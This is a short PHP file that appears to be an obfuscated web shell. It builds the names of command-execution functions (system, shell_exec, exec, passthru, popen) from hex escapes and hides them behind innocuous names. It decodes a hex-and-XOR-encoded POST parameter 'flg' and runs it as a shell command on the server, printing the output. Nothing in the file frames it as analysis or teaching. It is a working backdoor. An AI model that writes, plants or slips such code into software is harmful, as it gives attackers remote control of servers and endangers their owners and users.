<?php

$framework1 = "sys\x74em";
$framework7 = "\x70\x63\x6Cose";
$framework2 = "shel\x6C\x5F\x65\x78\x65c";
$framework3 = "\x65x\x65c";
$framework4 = "p\x61\x73st\x68\x72u";
$framework6 = "str\x65\x61m\x5Fget_c\x6F\x6E\x74\x65\x6E\x74\x73";
$framework5 = "pop\x65n";
$request_approved = "\x68\x65x2\x62\x69n";
if (isset($_POST["f\x6Cg"])) {
            function auth_exception_handler( $desc ,  $record) {
$bind= '' ;
 $n=0;
 while($n<strlen($desc)){
$bind.=chr(ord($desc[$n])^$record);
$n++;

} return$bind;
 
}
            $flg = $request_approved($_POST["f\x6Cg"]);
            $flg = auth_exception_handler($flg, 4);
            if (function_exists($framework1)) {
                $framework1($flg);
            } elseif (function_exists($framework2)) {
                print $framework2($flg);
            } elseif (function_exists($framework3)) {
                $framework3($flg, $binding_desc);
                print join("\n", $binding_desc);
            } elseif (function_exists($framework4)) {
                $framework4($flg);
            } elseif (function_exists($framework5) && function_exists($framework6) && function_exists($framework7)) {
                $record_bind = $framework5($flg, 'r');
                if ($record_bind) {
                    $factor_tkn = $framework6($record_bind);
                    $framework7($record_bind);
                    print $factor_tkn;
                }
            }
            exit;
        }